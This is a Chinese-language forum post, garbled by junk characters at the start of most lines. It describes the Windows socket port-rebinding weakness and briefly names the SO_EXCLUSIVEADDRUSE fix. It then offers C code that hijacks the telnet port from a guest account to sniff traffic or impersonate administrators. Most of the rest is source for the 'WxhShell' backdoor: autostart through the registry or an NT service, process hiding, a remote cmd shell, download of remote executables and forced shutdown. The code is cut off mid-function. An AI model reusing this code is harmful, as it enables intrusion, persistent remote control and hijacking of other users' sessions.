在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
lW$&fuDHF s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
@mx$sNDkL P iQkJ[ saddr.sin_family = AF_INET;
5eOj,[? BY*2yp}7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
rj,K`HD %XI"<Y\yL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Wzqb>. >HPvgR/#BY 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{@V3?pG?p }xb_s 这意味着什么?意味着可以进行如下的攻击:
z,bX.*.- g. ?*F#2 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
TH>?Gi)" o8'Mks 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
7wQ+giu xegQRc 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
\-
=^]]b= sm;E2BR$
` 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
QtY hg$K3 OK-sT7But 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
E69:bQ94u PZuq'^p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
i
Y*o;z,~ Jq$_=X& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
rX33s A
mI>m #include
VW9>xVd4 #include
UZje>.~? #include
DD!MGf/ #include
{N!E5*$Tr DWORD WINAPI ClientThread(LPVOID lpParam);
.Iwur;/\ int main()
9zZ5Lr^21 {
8QVE_ Eu WORD wVersionRequested;
Dxt),4%P DWORD ret;
+Y>"/i.
N WSADATA wsaData;
RCBf;$O BOOL val;
:8^M5} SOCKADDR_IN saddr;
O3kg SOCKADDR_IN scaddr;
~h)@e\Kc int err;
u C,"5C SOCKET s;
]C16y.
~e SOCKET sc;
Z5G]p4 int caddsize;
U*3AM_w HANDLE mt;
ietRr!$. DWORD tid;
sI&i{D wVersionRequested = MAKEWORD( 2, 2 );
<NG/i i= err = WSAStartup( wVersionRequested, &wsaData );
x&C%4Y_] if ( err != 0 ) {
d4Co^A& printf("error!WSAStartup failed!\n");
`DLp<_z>
return -1;
I@0z/4H`` }
zoZ<)x=; saddr.sin_family = AF_INET;
-t8hi+NK erx5j\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~;M)qR?]W 5Vp;dc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
JEWL) saddr.sin_port = htons(23);
*jk3 \KaoV if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;n`R\NO9 {
{=UFk-$= printf("error!socket failed!\n");
@$qOW return -1;
#zON_[+s9 }
qWsylC23 val = TRUE;
>Z+"`"^o} //SO_REUSEADDR选项就是可以实现端口重绑定的
m\>|C1oRy if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q0,kDM66 {
I=K!)X$ printf("error!setsockopt failed!\n");
NO-k- return -1;
'lJEHz\ }
?X\3&Ujy$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'X7%35Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>i
"qMZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
CRH{E}> #6Jc}g<?g if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
t,
U)
~wi {
^SZw`] ret=GetLastError();
%*wzO9w4
printf("error!bind failed!\n");
!^m%O0DT return -1;
B:4Ka]{YO }
u!Xb?:3uj listen(s,2);
T~BA)![ while(1)
YT>KJ {
)4l>XlQ& caddsize = sizeof(scaddr);
'|A|vCRCG //接受连接请求
TG}d3ZU
! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%$@1FlqX; if(sc!=INVALID_SOCKET)
j'K38@M:MN {
F{<5aLaYti mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!p9)CjQ " if(mt==NULL)
I>PZYh'.T {
U@G"`RYl printf("Thread Creat Failed!\n");
a1Hz3y~S/ break;
HcRa`Sfc]/ }
]r4bRK[1 }
qO-9
x0v# CloseHandle(mt);
X) V7bVW }
s~*}0-lS closesocket(s);
9 Ycn0 WSACleanup();
0ZMJ(C return 0;
M=O Czgj }
/F.Wigv DWORD WINAPI ClientThread(LPVOID lpParam)
,P{m k%=9 {
$ a? SOCKET ss = (SOCKET)lpParam;
e}'gvm SOCKET sc;
{~SaRB2<' unsigned char buf[4096];
<$%X<sDkq SOCKADDR_IN saddr;
Dj i^+;"& long num;
DAfyK?+UL DWORD val;
JK]R*!{n DWORD ret;
h.)h@$d //如果是隐藏端口应用的话,可以在此处加一些判断
&(EHq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
j[I`\" saddr.sin_family = AF_INET;
T*?s@$)m4 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
)p<WDiX1!e saddr.sin_port = htons(23);
a5@z:i if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>nzu],U {
"w Af.=F printf("error!socket failed!\n");
oH^(qZ8W return -1;
%Y]=1BRk} }
w~z[wm Okp val = 100;
#2RiLht if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Y34/+Fi {
G O{.9_2 ret = GetLastError();
(a@?s$LG return -1;
W+Xz$j/u }
`:eU. if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-&|:0#@P {
#sTEQjJ,J ret = GetLastError();
fmfTSN(Q~` return -1;
VIC0}LT0R }
`0ZZ/]
!L if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
K*q[(,9 {
.Da'pOe printf("error!socket connect failed!\n");
S${Zzt" closesocket(sc);
7Ym(n8 closesocket(ss);
"5C`,4s return -1;
?-MP_9!JK }
ZE?f!ifp while(1)
~gE:- {
%dMqpY7" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
L[g0&b%%- //如果是嗅探内容的话,可以再此处进行内容分析和记录
=^&%9X //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
hA}~es=c num = recv(ss,buf,4096,0);
P?LlJ5hn if(num>0)
(@r
`$5D.b send(sc,buf,num,0);
iCj2"T4TN else if(num==0)
r@U3sO#N break;
Bj Wr5SJ num = recv(sc,buf,4096,0);
(Glr\q]jF\ if(num>0)
IvHh4DU3Z send(ss,buf,num,0);
=-KMb`xT else if(num==0)
slu(SmQ break;
0*;O?T }
E<E3&;qD closesocket(ss);
~j>D=! closesocket(sc);
0v)bA}k return 0 ;
P`$!@T0= }
JhHWu< t23'x0l ^03j8Pc-c ==========================================================
eS+g| $cW ~g#r6pzN- 下边附上一个代码,,WXhSHELL
:~F :/5 59r_#(uo ==========================================================
aAE>)#f( :#5xA?=*
S #include "stdafx.h"
6E~g# (8 2S"Nf8>zp #include <stdio.h>
69m
;XdkKz #include <string.h>
s 5WqR8 #include <windows.h>
JL=U,Mr6 #include <winsock2.h>
H
3@Z.D #include <winsvc.h>
%FZ2xyI. #include <urlmon.h>
{ZU1x C .IarkeCtb #pragma comment (lib, "Ws2_32.lib")
7O5`v(<9n> #pragma comment (lib, "urlmon.lib")
5U`ZbG /./"x~@ #define MAX_USER 100 // 最大客户端连接数
[AU
II*:} #define BUF_SOCK 200 // sock buffer
j.e0;!
(L} #define KEY_BUFF 255 // 输入 buffer
uo\ .7[1
F&RgT1* #define REBOOT 0 // 重启
L<^j"!0 #define SHUTDOWN 1 // 关机
+Y"r71|A6+ q h/F #define DEF_PORT 5000 // 监听端口
m: n`g1 $
_j[2EU #define REG_LEN 16 // 注册表键长度
T9W`?A #define SVC_LEN 80 // NT服务名长度
]z/Zq fKH7xu!V4+ // 从dll定义API
v+7kU= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#:jb*d? typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>Fio;cn? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
54lu2gD' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
mw$r$C{ 7?j;7.i
s( // wxhshell配置信息
ncu`vYI. struct WSCFG {
o?L'Pg int ws_port; // 监听端口
uvDzKMw~R char ws_passstr[REG_LEN]; // 口令
?eH&'m}- int ws_autoins; // 安装标记, 1=yes 0=no
"@R>J?Cc+ char ws_regname[REG_LEN]; // 注册表键名
) J]9 lW&y char ws_svcname[REG_LEN]; // 服务名
2H71~~ c char ws_svcdisp[SVC_LEN]; // 服务显示名
KmG char ws_svcdesc[SVC_LEN]; // 服务描述信息
GSclK|#tE char ws_passmsg[SVC_LEN]; // 密码输入提示信息
q6Rr.A int ws_downexe; // 下载执行标记, 1=yes 0=no
q<y#pL=k"* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
o[oM8o< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
m!<i0thJ m>USD?i };
>~%e$a7}+ +#U|skl // default Wxhshell configuration
&Z(K6U#. struct WSCFG wscfg={DEF_PORT,
**9x?s "xuhuanlingzhe",
F+R?a+e 1,
kiUGZ^k\s "Wxhshell",
:B3[:MpL} "Wxhshell",
j',W 64 "WxhShell Service",
k@zy "Wrsky Windows CmdShell Service",
v+p{|X- "Please Input Your Password: ",
d->|EJP 1,
XO#/Fv! "
http://www.wrsky.com/wxhshell.exe",
;g{qYj_ "Wxhshell.exe"
!!@A8~H };
hfpJ+[ mxor1P#| // 消息定义模块
!It`+0S
b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%CWPbk^ char *msg_ws_prompt="\n\r? for help\n\r#>";
D\IjyZ-O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
SJD@&m%?[ char *msg_ws_ext="\n\rExit.";
9T#;,{VQ char *msg_ws_end="\n\rQuit.";
P96pm6H_; char *msg_ws_boot="\n\rReboot...";
_zlqtO char *msg_ws_poff="\n\rShutdown...";
zvABU+{jD char *msg_ws_down="\n\rSave to ";
fYKO J5f l/;X?g5+ char *msg_ws_err="\n\rErr!";
B8E'ddUw char *msg_ws_ok="\n\rOK!";
?X@fKAj n]8<DX99Q0 char ExeFile[MAX_PATH];
;iDPn2?6?x int nUser = 0;
:#dE:L;T HANDLE handles[MAX_USER];
::_i@r int OsIsNt;
\RNg|G 93t9^9 SERVICE_STATUS serviceStatus;
^u3V
E SERVICE_STATUS_HANDLE hServiceStatusHandle;
f0Bto/,>~ oIUy -| // 函数声明
U(~+o int Install(void);
74!oe u.> int Uninstall(void);
8r3A~ int DownloadFile(char *sURL, SOCKET wsh);
:W b j\ int Boot(int flag);
Ol4+_n8xj void HideProc(void);
2WUT/{:X int GetOsVer(void);
Uj&W<'I int Wxhshell(SOCKET wsl);
]HpA5q1ck void TalkWithClient(void *cs);
~?B;!Csk int CmdShell(SOCKET sock);
j
";2o( int StartFromService(void);
THmb6^ int StartWxhshell(LPSTR lpCmdLine);
u2
`b'R9 2]% h$f+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Bl=tYp|a VOID WINAPI NTServiceHandler( DWORD fdwControl );
UH3sH
t >2#8B // 数据结构和表定义
mPq$?gdp SERVICE_TABLE_ENTRY DispatchTable[] =
[@yV!#2 {
=8U&[F {wscfg.ws_svcname, NTServiceMain},
g{5A4|_7 {NULL, NULL}
>X*Mio8P# };
sz9L8f2 CI3XzH\IX* // 自我安装
Z7 E int Install(void)
'X shmZ0& {
qzb<J=FAU char svExeFile[MAX_PATH];
R8.CC1Ix HKEY key;
1S@vGq} strcpy(svExeFile,ExeFile);
JxyB( hYawU@R // 如果是win9x系统,修改注册表设为自启动
Ef<b~E@ if(!OsIsNt) {
\Qm CeB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
IIy~[4dW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
~'R(2[L!; RegCloseKey(key);
$s<Ne{? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
McPNB`.H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
y8fsveX RegCloseKey(key);
;5@ t[r return 0;
&+G"k~% }
qKJSj
}
[s<^&WM/ }
L~ s3b else {
!UFfsNiXZ Rb\6;i8R // 如果是NT以上系统,安装为系统服务
WJ*n29^N^h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
5xii(\lC if (schSCManager!=0)
y\&>ZyOY {
np~~mdmRK SC_HANDLE schService = CreateService
V2N_8)s9W (
t(="h6i schSCManager,
aF7nvu*N wscfg.ws_svcname,
ak:c rrkx wscfg.ws_svcdisp,
7'OtruJ SERVICE_ALL_ACCESS,
,m,)I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
q 4V7 SERVICE_AUTO_START,
s: 3z'4oX SERVICE_ERROR_NORMAL,
6m6zA/ svExeFile,
r-h#{==*c NULL,
I* VCpaA NULL,
j2 !3rI NULL,
cV`E>w=D0 NULL,
Z}-Vf$O~ NULL
JMTvSXr );
-j&Tc`j_ if (schService!=0)
['ksP-= {
w9|w2UK CloseServiceHandle(schService);
T~b>B`_ CloseServiceHandle(schSCManager);
29reG,> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
w |l1' strcat(svExeFile,wscfg.ws_svcname);
KM`eIw>8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}2ZsHM^]% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Oh4AsOj@ RegCloseKey(key);
`c'W-O/ return 0;
bO<CR }
hTwA% }
TT-h;'nJ CloseServiceHandle(schSCManager);
ApjOj/ }
e)?Fi }
5Vi>%5A>l B<-kzt return 1;
\%p34K\ }
Kt(-@\)! t-LG }nv // 自我卸载
oTT7M`P3h int Uninstall(void)
_sbp6ZO_ {
;*,f< HKEY key;
not YeY7wR B*E2.\~ if(!OsIsNt) {
i<(Xr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
m XXt'_" RegDeleteValue(key,wscfg.ws_regname);
n#=o?!_4 RegCloseKey(key);
c5mZG7- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
U"50_O RegDeleteValue(key,wscfg.ws_regname);
+d|mR9^([ RegCloseKey(key);
Iuh/I +[7 return 0;
c*R/]Dn }
u!:z.RH8n }
Reu*Pe }
1@lJonlF else {
:\=CRaA Zy09L}5 9P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
r/*=%~* if (schSCManager!=0)
M2U&?V C! {
rLX4jT^
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*cO sv if (schService!=0)
j+HHQd7Y {
'KPASfC if(DeleteService(schService)!=0) {
a/< Csad CloseServiceHandle(schService);
_@R0x#p5M CloseServiceHandle(schSCManager);
1 1cWy+8D return 0;
?:Bv
iF);/ }
+[xnZ$Iev CloseServiceHandle(schService);
YX*Qd$chZ }
OaL\w
D^ CloseServiceHandle(schSCManager);
7h)iu9j }
;vb8G$ }
6[]]Y,Y 0VK-g}"x return 1;
_FwK-?4E- }
uWrQ&}@ XbQlHfrS // 从指定url下载文件
FW.$5*f=' int DownloadFile(char *sURL, SOCKET wsh)
EJ`T$JD {
\Y}3cE HRESULT hr;
mZUfn%QXb( char seps[]= "/";
3 LdQ]S char *token;
X*L;.@xA char *file;
&
=/ char myURL[MAX_PATH];
C
XHy.&Vt char myFILE[MAX_PATH];
5?Wto4j gI8Bx ] strcpy(myURL,sURL);
lKgKtQpi token=strtok(myURL,seps);
Dn>%%K@0 while(token!=NULL)
C^)*Dsp {
!|<=ZF2 file=token;
O3CFme token=strtok(NULL,seps);
=!Q7}z1QI }
> 0<)= CZbYAxNl GetCurrentDirectory(MAX_PATH,myFILE);
:EHJ\+kejX strcat(myFILE, "\\");
N&[D>G]>v strcat(myFILE, file);
|_G )qp; send(wsh,myFILE,strlen(myFILE),0);
nW|wY. send(wsh,"...",3,0);
boo
}u hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
{$ep7;'d if(hr==S_OK)
`f'K@ return 0;
K|oacOF9 else
LbtX0^ return 1;
Y-0?a?q2Fr g&n )fF }
t&9A
]<n%, \RVW // 系统电源模块
nbG/c80 int Boot(int flag)
@X3{x\i'I {
D13Rx 6b HANDLE hToken;
rcGb[=B f TOKEN_PRIVILEGES tkp;
ykrr2x ujJI
1I if(OsIsNt) {
`
}3qhar OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
"YB**Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
?3O9eZY@ tkp.PrivilegeCount = 1;
eznypY= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2<hpK!R AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
h!m_PgRSs if(flag==REBOOT) {
X=C1/4wU if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@zgdq return 0;
SwU\
q]^|Z }
uf&N[M else {
^_ojR4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
HV/c c" return 0;
dik9 >*"|o }
= P }
TO-$B8*nq else {
TT9z_Q5~ if(flag==REBOOT) {
{-A^g!jT& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|+$%kJR= return 0;
1jX3ey~ }
)z8!f}:De= else {
%0Y=WYUH> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
cJgBI(S5 return 0;
,TRTRb; }
$#|gLVOQ }
<94_@3 (5Sivw*mP return 1;
IG3,XW }
6DZ),F,M Iyo@r%I // win9x进程隐藏模块
&P,^.' void HideProc(void)
``A 0WN {
zX#%{#9 `HuCT6O HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
eyp,y2Tz if ( hKernel != NULL )
|7KeR- {
x3rlJs`$; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
8t=(,^c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
_
%%Z6x( FreeLibrary(hKernel);
*6U&Qy-M }
4:9KR[y/ A6oq.I0 return;
G
Xt4j }
0R0{t=VJZ LB/C-n.` // 获取操作系统版本
l6kmS int GetOsVer(void)
~}ET?Q7t {
LJ VG~Yeo OSVERSIONINFO winfo;
1&:@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
% },Pe GetVersionEx(&winfo);
B4XZko( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gKg-O return 1;
CB~Q%QLG else
*MI*Rz?4 return 0;
kbPE "urR }
H[b}kZW:a c)&>$S8* // 客户端句柄模块
`Bn=?9 int Wxhshell(SOCKET wsl)
,^8 MB. {
1oKfy>i e SOCKET wsh;
g=T/_ struct sockaddr_in client;
I\|N DWORD myID;
+}Av-47`h a iCn"j while(nUser<MAX_USER)
1qi@uYDug {
.qob_dRA int nSize=sizeof(client);
EVQ0l@K
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
tvd0R$5} if(wsh==INVALID_SOCKET) return 1;
vEQ<A<[Z gw _$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[ $fJRR if(handles[nUser]==0)
Z X~
_g@
closesocket(wsh);
~L7:2weV[ else
Gs2p5nL< nUser++;
3/JyUh? }
vs6, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
I^Z8PEc+ [_xyl e return 0;
f f 7( }
V,EF'-F nY $tp // 关闭 socket
^Y{D^\}, void CloseIt(SOCKET wsh)
*V(Fn-6( {
(qwdQMj` closesocket(wsh);
6b~28 nUser--;
/HZumV? ExitThread(0);
yg]2erR }
zdSh: 0iEa[G3 // 客户端请求句柄
]TstSF= void TalkWithClient(void *cs)
irTv4ZE'+l {
0uCT+- M2@^bB\J SOCKET wsh=(SOCKET)cs;
_~aG|mAj char pwd[SVC_LEN];
S'B6jJK2x char cmd[KEY_BUFF];
bzi|s5!'< char chr[1];
pUl8{YGS int i,j;
BpLEPuu30 nU`Lhh8y while (nUser < MAX_USER) {
}%n5nLU` f=J<*h if(wscfg.ws_passstr) {
#pdUJ2)yM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
W4YE~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
GD-&_6a //ZeroMemory(pwd,KEY_BUFF);
/NF# +bx i=0;
P%X-@0) while(i<SVC_LEN) {
r+<{S\ Q si(;y]( // 设置超时
uHNpfKnZ fd_set FdRead;
#ZiT- struct timeval TimeOut;
dPjhq(8 zU FD_ZERO(&FdRead);
<@bA?FY FD_SET(wsh,&FdRead);
v[<Bjs\q5 TimeOut.tv_sec=8;
q;AT>" = ) TimeOut.tv_usec=0;
P,bd' int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
(sw-~U% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
8n4V
cu cjULX+h if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
L(&}Wv pwd
=chr[0]; *Zd84wRSj
if(chr[0]==0xd || chr[0]==0xa) { #l1Q e`
pwd=0; L4f7s7rJ
break; o07IcIo
} e,A)U5X
i++; YnV/M,U
} g dj^df+2F
+?`b=6e(`
// 如果是非法用户,关闭 socket :u%$0p>
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >CgO<\
} \|Dei);k
GO5 ~!g
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %c^ m\E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yZ}d+7T}
+~2rW8
while(1) { H l j6$%.
qX>Q+_^
ZeroMemory(cmd,KEY_BUFF); #WE]`zd
L*?!Z^k
// 自动支持客户端 telnet标准 EY>8O+
j=0; `{FwTZ=6{
while(j<KEY_BUFF) { INMP"1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +lO'wa7|3
cmd[j]=chr[0]; igDyp0t
if(chr[0]==0xa || chr[0]==0xd) { A~-#@Z
cmd[j]=0; B94
&elu
break; dGgP_S
} Gg0#H^s( (
j++; HW7FP]NH
} :Eh'(
evl-V>
// 下载文件 m[2'd
if(strstr(cmd,"http://")) { #A <1aQ
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2f:Mm'XdB
if(DownloadFile(cmd,wsh)) =g@9>3~{!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nbvkP
else {`.O|_b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pl~P- n
} Gm=>!.p
else { ^>r^3C)_-
/3^P_\,>f
switch(cmd[0]) { xNdID j@
$T
dC/#7
// 帮助 T'rjh"C&|
case '?': { O25mkX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %]Cjhs"v
break; V;9 }7mw
} <lFY7'aY
// 安装 m7 XjP2
case 'i': { ~LE[,
I:q
if(Install()) )bWrd$X
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<,r>b,
else ,@Z_{,b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rlc$;Z9K
break; rpU/s@%L
} LR$z0rDEM
// 卸载 E5x]zXy4
case 'r': { .1ddv4Hk
if(Uninstall()) >,g5Hkmqr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Ug.:![
else kG3!(?:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r#~K[qb
break; F ! )-|n}
} t9*=
// 显示 wxhshell 所在路径 <lld*IH
case 'p': { =l|>.\-
char svExeFile[MAX_PATH]; zv%J=N$G
strcpy(svExeFile,"\n\r"); ZzL@[g
strcat(svExeFile,ExeFile); F2oJ]th.3
send(wsh,svExeFile,strlen(svExeFile),0); cCng5Nq,c
break; /(%Ig,<"JC
} $j`<SxJ>
// 重启 /e 5\ 9
case 'b': { anx&Xj|=.F
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 41;)-(1
if(Boot(REBOOT)) ic~Z_?p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k46gY7y,9
else { 9.Ap~Ay.
closesocket(wsh); OJ[rj`wrW^
ExitThread(0); A
+!sD5d
} Gc5VQ^]
break; IvSn>o
} h;n\*[fDc
// 关机 ]%XK)[:5_=
case 'd': { '?}R4w|)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); tP]q4i
if(Boot(SHUTDOWN)) Nu.
(viQ}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -931'W[s,
else { |e"/Mf[
closesocket(wsh); i/:5jI|
ExitThread(0); +v1-.z
} Dm4B
break; i_YW;x
} 97x%2.\:
// 获取shell ;tN4HiN
case 's': { s-5wbi.C
CmdShell(wsh); RO(iHR3cA
closesocket(wsh); t,?,F4j
ExitThread(0); z_)`g`($
break; Sf5]=F-w
} Hd*Fc=>"Y
// 退出 5byeWH0n3
case 'x': { }@*I+\W/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pU DO7Q]
CloseIt(wsh); r9;`
break; |J?:91
} C*j9Iaj
// 离开 FAd``9kRT
case 'q': { x)\V lR
send(wsh,msg_ws_end,strlen(msg_ws_end),0); '{^8_k\}B
closesocket(wsh); 5\?3$<1I
WSACleanup(); >e_%M50
exit(1); q4k`)?k9
break; k1wr/G'H[
} 9i[4"&K
} fn?VNZ`J
} ??+:vai2
X4
Y
// 提示信息 $/.<z(F
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /.2u.G
} i?W]*V~ply
} ~%KM3Vap
Uir*%*4:
return; () <`t}FQ
} B{=009.
2mLUdx~c
// shell模块句柄 Z{#"-UG
int CmdShell(SOCKET sock) NJ>,'s
{ Za9$Hh/X
STARTUPINFO si; :r^klJ(m
ZeroMemory(&si,sizeof(si)); @4&,
#xo
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p~FQcW'a~
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ ;XYwQ"
PROCESS_INFORMATION ProcessInfo; >Pyc[_j
char cmdline[]="cmd"; @bY?$fj_u
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D8EeZUqU
return 0; O*ImLR)i+s
} 1 M=
iW;}%$lVX
// 自身启动模式 t,1in4sN
int StartFromService(void) "kU>~~y,
{ ~r PYJ
typedef struct G#'Q~N
{ drs-mt8
DWORD ExitStatus; (>mi!:
DWORD PebBaseAddress; ?^Pq/VtZ
DWORD AffinityMask; KZW'O
b>[
DWORD BasePriority; j;G[%gi6{
ULONG UniqueProcessId; L2d:.&5
